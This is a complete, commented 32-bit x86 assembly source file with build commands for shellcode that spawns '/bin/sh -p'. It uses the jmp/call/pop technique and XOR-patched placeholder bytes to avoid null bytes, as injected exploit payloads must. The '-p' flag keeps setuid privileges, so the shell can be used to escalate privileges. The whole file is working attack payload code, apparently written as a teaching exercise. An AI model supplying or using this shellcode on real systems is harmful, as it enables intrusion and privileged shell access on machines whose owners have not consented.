shell3_32.s

##
#  shell3_32.s - Executes "/bin/sh"
#     Compile and Link:
#        gcc -c shell3_32.s -m32
#        ld -o shell3_32 -melf_i386 shell3_32.o
.global _start
.text

_start:
    # push a NULL byte
    xor %edi, %edi
    push %edi
    # unconditionally jump to shell_arg
    jmp shell_arg


system_call:
    # Move a pointer to "/bin/shA" into %edi
    mov (%esp), %edi

    # Move a single "A" into the least significant byte of %edx
    xor %edx, %edx
    mov $0x41, %dl

    # Remove the "A" from "/bin/shA" by xor'ing it with %edx
    xor %dl, 0x7(%edi)
    # Remove the "A" from "-pA" by xor'ing it with %edx
    mov 0x4(%esp), %edi
    xor %dl, 0x2(%edi)

    # move a pointer to "/bin/sh\0" into %ebx
    mov (%esp), %ebx
    # move a pointer to argv into %ecx
    mov %esp, %ecx
    # make %edx (envp) NULL
    xor %edx, %edx

    xor %eax, %eax
    mov $0xb, %al

    int $0x80
    

shell:
    # push a pointer to "/bin/shA" and jmp to system_call
    call system_call
    .ascii "/bin/shA"

shell_arg:
    # push a pointer to "-pA" and jump to shell
    call shell
    .ascii "-pA"